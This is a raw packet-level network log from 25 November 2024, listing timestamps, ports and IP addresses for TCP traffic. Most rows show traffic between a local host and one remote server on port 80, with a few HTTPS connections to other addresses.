Nov 25, 2024 07:53:51.971029997 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.971189022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.971755981 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.971808910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.971839905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.971883059 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.972549915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.972605944 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.972645044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.972745895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.973403931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.973464966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.973495007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.973540068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.974179983 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.974236965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.974318027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.974443913 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.975208998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.975223064 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.975261927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.975294113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.975831032 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.975886106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.975938082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.976099014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.976634026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.976682901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:51.976702929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:51.976984978 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.010198116 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:52.022773981 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.023672104 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.023690939 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.024161100 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.024167061 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.035970926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.036022902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.036031961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.036067009 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.036351919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.036403894 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.036515951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.036580086 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.036624908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.036803961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.037378073 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.037394047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.037429094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.037442923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.038161993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.038213968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.038312912 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.038372040 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.038990021 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.039053917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.039115906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.039309025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.039778948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.039844990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.039879084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.039943933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.040652990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.040664911 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.040725946 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.041400909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.041471958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.041513920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.041558981 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.042223930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.042295933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.042325974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.042361975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.043028116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.043093920 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.043127060 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.043169022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.043833017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.043910027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.043941021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.043961048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.044661045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.044779062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.044830084 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.045469999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.045563936 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.045604944 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.045660019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.046304941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.046319008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.046360970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.047103882 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.047153950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.047192097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.047396898 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.047910929 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.047972918 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.048016071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.048072100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.048707962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.048758030 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.048891068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.048939943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.049576998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.049621105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.049700022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.049830914 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.050342083 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.050405025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.050455093 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.050524950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.051172972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.051229000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.051269054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.051486969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.051966906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.052053928 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.052073002 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.052244902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.052783012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.052889109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.052915096 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.053024054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.053602934 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.053653955 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.053654909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.053705931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.054415941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.054493904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.054546118 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.055258036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.055272102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.055309057 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.055336952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.056063890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.056166887 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.056170940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.056212902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.056866884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.056976080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.057019949 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.057668924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.057723045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.057755947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.057796001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.058612108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.058665037 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.058687925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.058710098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.059318066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.059359074 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.059367895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.059396982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.083064079 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.083369017 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.083404064 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.083753109 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.084059954 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.084124088 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.084222078 CET	49904	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.113315105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.113413095 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.113430977 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.113478899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.113779068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.113843918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.113887072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.114521027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.114579916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.114667892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.114708900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.115300894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.115365982 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.115416050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.115573883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.116117001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.116167068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.116432905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.116483927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.116940975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.116992950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.117053986 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.117182970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.117815018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.117899895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.117950916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.131340981 CET	443	49904	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.150211096 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.150943041 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.150989056 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.151411057 CET	49905	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.151417017 CET	443	49905	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.165402889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.165527105 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.165535927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.165572882 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.165831089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.165879965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.165880919 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.165949106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.166430950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.166481018 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.166522026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.166610003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.167254925 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.167304993 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.167347908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.167478085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.168044090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.168098927 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.168100119 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.168133020 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.168863058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.168891907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.168915987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.168926001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.169684887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.169764996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.169769049 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.169805050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.170480013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.170536995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.170583010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.170650005 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.171274900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.171310902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.171324968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.171351910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.172086954 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.172139883 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.172198057 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.172236919 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.172904015 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.172951937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.173022985 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.173068047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.173732042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.173819065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.173824072 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.174002886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.174537897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.174587965 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.174612045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.174623013 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.175347090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.175386906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.175406933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.175471067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.176146984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.176250935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.176270008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.176305056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.176984072 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.177037954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.177066088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.177103996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.177788019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.177831888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.177862883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.177918911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.237351894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.237411022 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.237416029 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.237456083 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.237745047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.237795115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.237845898 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.237906933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.238605976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.238651991 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.238656044 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.238689899 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.239351988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.239401102 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.239655972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.239706039 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.239737034 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.239825010 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.240449905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.240500927 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.240530968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.240660906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.241250992 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.241311073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.241354942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.241400957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.242090940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.242104053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.242142916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.242162943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.242868900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.242911100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.242980003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.243016958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.243683100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.243747950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.243793011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.244503975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.244590044 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.244657993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.244692087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.245369911 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.245434046 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.245450020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.245513916 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.246135950 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.246177912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.246320009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.246361971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.246948004 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.246994972 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.247064114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.247127056 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.247790098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.247802019 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.247840881 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.248575926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.248631001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.248634100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.248668909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.249397993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.249448061 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.249497890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.249582052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.250201941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.250248909 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.250279903 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.250413895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.251044035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.251090050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.251166105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.251254082 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.251857042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.251899958 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.251938105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.252064943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.252640963 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.252688885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.252692938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.252728939 CET	49825	80	192.168.2.6	185.215.113.206
